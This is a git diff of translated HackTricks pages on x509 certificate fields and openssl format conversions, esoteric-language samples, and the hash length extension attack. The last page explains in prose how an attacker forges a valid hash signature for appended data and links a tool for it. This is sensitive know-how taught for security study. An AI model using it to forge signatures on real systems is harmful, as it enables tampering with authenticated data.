* Polje **Subjekat** predstavlja vlasnika sertifikata, koji može biti mašina, pojedinac ili organizacija. Uključuje detaljne identifikacije kao što su: * Polje **Subjekt** predstavlja vlasnika sertifikata, što može biti mašina, pojedinac ili organizacija. Uključuje detaljnu identifikaciju kao što su:
* **Uobičajeno Ime (CN)**: Domeni obuhvaćeni sertifikatom. * **Uobičajeno ime (CN)**: Domeni pokriveni sertifikatom.
* **Država (C)**, **Lokalitet (L)**, **Država ili Pokrajina (ST, S, ili P)**, **Organizacija (O)** i **Organizaciona Jedinica (OU)** pružaju geografske i organizacione detalje. * **Zemlja (C)**, **Lokacija (L)**, **Država ili pokrajina (ST, S, ili P)**, **Organizacija (O)**, i **Organizaciona jedinica (OU)** pružaju geografske i organizacione detalje.
* **Distingovano Ime (DN)** obuhvata punu identifikaciju subjekta. * **Istaknuto ime (DN)** obuhvata punu identifikaciju subjekta.
* **Izdavaoc** detalji ko je verifikovao i potpisao sertifikat, uključujući slična podpolja kao Subjekat za CA. * **Izdavač** detaljno opisuje ko je verifikovao i potpisao sertifikat, uključujući slična podpolja kao Subjekt za CA.
* **Period Važenja** obeležen je vremenima **Nije Pre** i **Nije Posle**, osiguravajući da sertifikat nije korišćen pre ili posle određenog datuma. * **Period validnosti** označen je vremenskim oznakama **Ne pre** i **Ne posle**, osiguravajući da sertifikat ne bude korišćen pre ili posle određenog datuma.
* Odeljak **Javni Ključ**, ključan za sigurnost sertifikata, specificira algoritam, veličinu i druge tehničke detalje javnog ključa. * Sekcija **Javni ključ**, koja je ključna za sigurnost sertifikata, specificira algoritam, veličinu i druge tehničke detalje javnog ključa.
* **x509v3 ekstenzije** poboljšavaju funkcionalnost sertifikata, specificirajući **Upotrebu Ključa**, **Proširenu Upotrebu Ključa**, **Alternativno Ime Subjekta** i druge osobine za fino podešavanje primene sertifikata. * **x509v3 ekstenzije** poboljšavaju funkcionalnost sertifikata, specificirajući **Korišćenje ključa**, **Prošireno korišćenje ključa**, **Alternativno ime subjekta**, i druge osobine za fino podešavanje primene sertifikata.
#### **Upotreba Ključa i Ekstenzije** #### **Korišćenje ključa i ekstenzije**
* **Upotreba Ključa** identifikuje kriptografske primene javnog ključa, poput digitalnog potpisa ili šifrovanja ključa. * **Korišćenje ključa** identifikuje kriptografske primene javnog ključa, kao što su digitalni potpis ili enkripcija ključa.
* **Proširena Upotreba Ključa** dodatno sužava slučajeve upotrebe sertifikata, npr. za autentikaciju TLS servera. * **Prošireno korišćenje ključa** dodatno sužava slučajeve korišćenja sertifikata, npr. za TLS autentifikaciju servera.
* **Alternativno Ime Subjekta** i **Osnovno Ograničenje** definišu dodatna imena hostova obuhvaćena sertifikatom i da li je to CA ili sertifikat entiteta, redom. * **Alternativno ime subjekta** i **Osnovna ograničenja** definišu dodatne nazive hostova pokrivene sertifikatom i da li je to CA ili sertifikat krajnjeg entiteta, redom.
* Identifikatori poput **Identifikatora Ključa Subjekta** i **Identifikatora Ključa Autoriteta** osiguravaju jedinstvenost i mogućnost praćenja ključeva. * Identifikatori kao što su **Identifikator ključa subjekta** i **Identifikator ključa vlasti** osiguravaju jedinstvenost i praćenje ključeva.
* **Pristup Informacijama Autoriteta** i **Tačke Distribucije CRL-a** pružaju putanje za verifikaciju izdavaoca CA i proveru statusa opoziva sertifikata. * **Pristup informacijama o vlasti** i **Tačke distribucije CRL** pružaju puteve za verifikaciju izdavača CA i proveru statusa opoziva sertifikata.
* **CT Pre-sertifikat SCT-ovi** nude transparentne dnevnike, ključne za javno poverenje u sertifikat. * **CT Precertifikat SCTs** nude evidencije transparentnosti, što je ključno za javno poverenje u sertifikat.
```python ```python
# Example of accessing and using x509 certificate fields programmatically: # Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509 from cryptography import x509
@ -74,61 +75,61 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}") print(f"Subject: {subject}")
print(f"Public Key: {public_key}") print(f"Public Key: {public_key}")
``` ```
### **Razlika između OCSP i tačaka distribucije CRL** ### **Razlika između OCSP i CRL distribucionih tačaka**
**OCSP** (**RFC 2560**) uključuje klijenta i odgovarača koji zajedno proveravaju da li je digitalni javni ključ sertifikata povučen, bez potrebe za preuzimanjem punog **CRL**-a. Ovaj metod je efikasniji od tradicionalnog **CRL**-a, koji pruža listu povučenih serijskih brojeva sertifikata, ali zahteva preuzimanje potencijalno velike datoteke. CRL-ovi mogu sadržati do 512 unosa. Više detalja dostupno je [ovde](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm). **OCSP** (**RFC 2560**) uključuje klijenta i odgovarača koji rade zajedno kako bi proverili da li je digitalni javni ključ sertifikat opozvan, bez potrebe za preuzimanjem celog **CRL**. Ova metoda je efikasnija od tradicionalnog **CRL**, koji pruža listu opozvanih serijskih brojeva sertifikata, ali zahteva preuzimanje potencijalno velikog fajla. CRL-ovi mogu sadržati do 512 unosa. Više detalja je dostupno [ovde](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
### **Šta je Transparentnost sertifikata** ### **Šta je transparentnost sertifikata**
Transparentnost sertifikata pomaže u borbi protiv pretnji povezanih sa sertifikatima osiguravajući da izdavanje i postojanje SSL sertifikata budu vidljivi vlasnicima domena, CA-ima i korisnicima. Njeni ciljevi su: Transparentnost sertifikata pomaže u borbi protiv pretnji vezanih za sertifikate osiguravajući da je izdavanje i postojanje SSL sertifikata vidljivo vlasnicima domena, CA-ima i korisnicima. Njeni ciljevi su:
* Sprječavanje CA da izdaju SSL sertifikate za domen bez znanja vlasnika domena. * Sprečavanje CA-a da izdaju SSL sertifikate za domen bez znanja vlasnika domena.
* Uspostavljanje otvorenog sistema revizije za praćenje greškom ili zlonamerno izdatih sertifikata. * Uspostavljanje otvorenog sistema revizije za praćenje greškom ili zlonamerno izdatih sertifikata.
* Zaštita korisnika od lažnih sertifikata. * Zaštita korisnika od prevarantskih sertifikata.
#### **Sertifikatni zapisi** #### **Sertifikati logovi**
Sertifikatni zapisi su javno proverljivi, samo za dodavanje zapisi sertifikata, održavani od strane mrežnih servisa. Ovi zapisi pružaju kriptografske dokaze u svrhe revizije. Izdavači i javnost mogu podnositi sertifikate ovim zapisima ili ih upitati radi verifikacije. Iako tačan broj serverskih zapisa nije fiksan, očekuje se da ih globalno bude manje od hiljadu. Ovi serveri mogu biti nezavisno upravljani od strane CA, ISP-ova ili bilo koje zainteresovane strane. Sertifikati logovi su javno revizibilni, samo za dodavanje zapisi sertifikata, koje održavaju mrežne usluge. Ovi logovi pružaju kriptografske dokaze za revizijske svrhe. Izdavaoci i javnost mogu podnositi sertifikate ovim logovima ili ih pretraživati radi verifikacije. Dok tačan broj log servera nije fiksiran, očekuje se da će biti manje od hiljadu globalno. Ove servere mogu nezavisno upravljati CA, ISP ili bilo koja zainteresovana strana.
#### **Upit** #### **Upit**
Za istraživanje zapisa Transparentnosti sertifikata za bilo koji domen, posetite [https://crt.sh/](https://crt.sh). Da biste istražili logove transparentnosti sertifikata za bilo koji domen, posetite [https://crt.sh/](https://crt.sh).
Različiti formati postoje za čuvanje sertifikata, svaki sa svojim slučajevima upotrebe i kompatibilnošću. Ovaj sažetak obuhvata glavne formate i pruža smernice o konvertovanju između njih. Postoje različiti formati za skladištenje sertifikata, svaki sa svojim slučajevima upotrebe i kompatibilnošću. Ovaj pregled pokriva glavne formate i pruža smernice za konvertovanje između njih.
## **Formati** ## **Formati**
### **PEM Format** ### **PEM format**
* Najčešće korišćen format za sertifikate. * Najšire korišćen format za sertifikate.
* Zahteva odvojene datoteke za sertifikate i privatne ključeve, kodirane u Base64 ASCII. * Zahteva odvojene fajlove za sertifikate i privatne ključeve, kodirane u Base64 ASCII.
* Uobičajene ekstenzije: .cer, .crt, .pem, .key. * Uobičajene ekstenzije: .cer, .crt, .pem, .key.
* Prvenstveno korišćen od strane Apache i sličnih servera. * Primarno koriste Apache i slični serveri.
### **DER Format** ### **DER format**
* Binarni format sertifikata. * Binarni format sertifikata.
* Nedostaje "BEGIN/END CERTIFICATE" izjave koje se nalaze u PEM datotekama. * Nedostaju "BEGIN/END CERTIFICATE" izjave koje se nalaze u PEM fajlovima.
* Uobičajene ekstenzije: .cer, .der. * Uobičajene ekstenzije: .cer, .der.
* Često korišćen sa Java platformama. * Često se koristi sa Java platformama.
### **P7B/PKCS#7 Format** ### **P7B/PKCS#7 format**
* Čuvaju se u Base64 ASCII, sa ekstenzijama .p7b ili .p7c. * Skladišti se u Base64 ASCII, sa ekstenzijama .p7b ili .p7c.
* Sadrže samo sertifikate i lanac sertifikata, isključujući privatni ključ. * Sadrži samo sertifikate i lance sertifikata, isključujući privatni ključ.
* Podržano od strane Microsoft Windows i Java Tomcat. * Podržava Microsoft Windows i Java Tomcat.
### **PFX/P12/PKCS#12 Format** ### **PFX/P12/PKCS#12 format**
* Binarni format koji uključuje serverske sertifikate, posredne sertifikate i privatne ključeve u jednoj datoteci. * Binarni format koji enkapsulira server sertifikate, međusertifikate i privatne ključeve u jednom fajlu.
* Ekstenzije: .pfx, .p12. * Ekstenzije: .pfx, .p12.
* Glavno korišćen na Windows platformi za uvoz i izvoz sertifikata. * Uglavnom se koristi na Windows-u za uvoz i izvoz sertifikata.
### **Konvertovanje formata** ### **Konvertovanje formata**
**PEM konverzije** su esencijalne za kompatibilnost: **PEM konverzije** su neophodne za kompatibilnost:
* **x509 u PEM** * **x509 to PEM**
```bash ```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
``` ```
@ -148,23 +149,23 @@ openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b
```bash ```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
``` ```
**PFX konverzije** su ključne za upravljanje sertifikatima na Windows operativnom sistemu: **PFX konverzije** su ključne za upravljanje sertifikatima na Windows-u:
* **PFX u PEM** * **PFX u PEM**
```bash ```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem openssl pkcs12 -in certificatename.pfx -out certificatename.pem
``` ```
* **PFX u PKCS#8** uključuje dva koraka: * **PFX to PKCS#8** uključuje dva koraka:
1. Konvertuj PFX u PEM 1. Konvertujte PFX u PEM
```bash ```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
``` ```
2. Konvertuj PEM u PKCS8 2. Konvertujte PEM u PKCS8
```bash ```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
``` ```
* **P7B u PFX** takođe zahteva dve komande: * **P7B to PFX** takođe zahteva dve komande:
1. Konvertuj P7B u CER 1. Konvertujte P7B u CER
```bash ```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
``` ```
@ -177,21 +178,22 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) za lako kreiranje i **automatizaciju radnih tokova** pokretanih **najnaprednijim** alatima zajednice na svetu.\
Dobijte pristup danas: Pribavite pristup danas:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# Ezoterični jezici # Esoteric languages
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS-a ili preuzimanje HackTricks-a u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** me na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## [Esolangs Wiki](https://esolangs.org/wiki/Main\_Page) ## [Esolangs Wiki](https://esolangs.org/wiki/Main\_Page)
Proverite taj wiki da biste pronašli više ezoteričnih jezika Proverite tu viki stranicu da biste pronašli više esoteričnih jezika
## Malbolge ## Malbolge
``` ```
@ -27,7 +30,7 @@ Proverite taj wiki da biste pronašli više ezoteričnih jezika
![](<../.gitbook/assets/image (691).png>) ![](<../.gitbook/assets/image (691).png>)
[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet/npiet-execute.php) [https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php)
## Rockstar ## Rockstar
``` ```
@ -61,8 +64,6 @@ Whisper my world
{% embed url="https://codewithrockstar.com/" %} {% embed url="https://codewithrockstar.com/" %}
## PETOOH ## PETOOH
PETOOH (ПЕТООХ) je esoterični programski jezik inspirisan ruskim jezikom. Ovaj jezik koristi samo pet reči: "pet", "tak", "kuk", "puk" i "kur".
``` ```
KoKoKoKoKoKoKoKoKoKo Kud-Kudah KoKoKoKoKoKoKoKoKoKo Kud-Kudah
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
@ -72,14 +73,17 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
Kukarek Kukarek
``` ```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,63 +1,64 @@
# Napad produžetka dužine heša # Hash Length Extension Attack
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io) #### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu**. [**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti **kompromitovani** od strane **stealer malwares**.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija. Njihov primarni cilj WhiteIntel-a je da se bori protiv preuzimanja naloga i ransomware napada koji proizlaze iz malvera koji krade informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na: Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač **besplatno** na:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
*** ***
## Rezime napada ## Summary of the attack
Zamislite server koji **potpisuje** neke **podatke** tako što **dodaje** neki **tajni ključ** na neke poznate čiste tekstualne podatke, a zatim hešira te podatke. Ako znate: Zamislite server koji **potpisuje** neke **podatke** tako što **dodaje** **tajnu** nekim poznatim čistim tekstualnim podacima i zatim hešira te podatke. Ako znate:
* **Dužinu tajnog ključa** (ovo takođe može biti probijeno iz datog opsega dužine) * **Dužinu tajne** (to se može takođe bruteforce-ovati iz datog opsega dužine)
* **Čiste tekstualne podatke** * **Čiste tekstualne podatke**
* **Algoritam (i ranjiv je na ovaj napad)** * **Algoritam (i on je ranjiv na ovaj napad)**
* **Padding je poznat** * **Padding je poznat**
* Obično se koristi podrazumevani, pa ako su ispunjeni i ostali zahtevi, i ovaj je * Obično se koristi podrazumevani, tako da ako su ispunjena ostala 3 zahteva, ovo takođe jeste
* Padding varira u zavisnosti od dužine tajnog ključa+podataka, zbog čega je potrebna dužina tajnog ključa * Padding varira u zavisnosti od dužine tajne + podataka, zato je potrebna dužina tajne
Onda je moguće da **napadač** **doda** **podatke** i **generiše** validan **potpis** za **prethodne podatke + dodate podatke**. Tada je moguće da **napadač** **doda** **podatke** i **generiše** važeći **potpis** za **prethodne podatke + dodate podatke**.
### Kako? ### How?
Osnovno, ranjivi algoritmi generišu hešove tako što prvo **heširaju blok podataka**, a zatim, **iz** prethodno kreiranog **heša** (stanja), dodaju **sledeći blok podataka** i **heširaju ga**. U suštini, ranjivi algoritmi generišu heševe tako što prvo **heširaju blok podataka**, a zatim, **iz** **prethodno** kreiranog **heša** (stanja), **dodaju sledeći blok podataka** i **heširaju ga**.
Zamislite da je tajni ključ "tajna" i podaci su "podaci", MD5 od "tajnapodaci" je 6036708eba0d11f6ef52ad44e8b74d5b.\ Zamislite da je tajna "secret" a podaci su "data", MD5 od "secretdata" je 6036708eba0d11f6ef52ad44e8b74d5b.\
Ako napadač želi da doda string "dodatak" može: Ako napadač želi da doda string "append" može:
* Generisati MD5 od 64 "A" * Generisati MD5 od 64 "A"
* Promeniti stanje prethodno inicijalizovanog heša u 6036708eba0d11f6ef52ad44e8b74d5b * Promeniti stanje prethodno inicijalizovanog heša na 6036708eba0d11f6ef52ad44e8b74d5b
* Dodati string "dodatak" * Dodati string "append"
* Završiti heš i rezultujući heš će biti **validan za "tajna" + "podaci" + "padding" + "dodatak"** * Završiti heš i rezultantni heš će biti **važeći za "secret" + "data" + "padding" + "append"**
### **Alat** ### **Tool**
{% embed url="https://github.com/iagox86/hash_extender" %} {% embed url="https://github.com/iagox86/hash_extender" %}
### Reference ### References
Možete pronaći ovaj napad dobro objašnjen na [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) Možete pronaći ovaj napad dobro objašnjen na [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
@ -65,24 +66,25 @@ Možete pronaći ovaj napad dobro objašnjen na [https://blog.skullsecurity.org/
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu**. [**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti **kompromitovani** od strane **stealer malwares**.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija. Njihov primarni cilj WhiteIntel-a je da se bori protiv preuzimanja naloga i ransomware napada koji proizlaze iz malvera koji krade informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na: Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač **besplatno** na:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
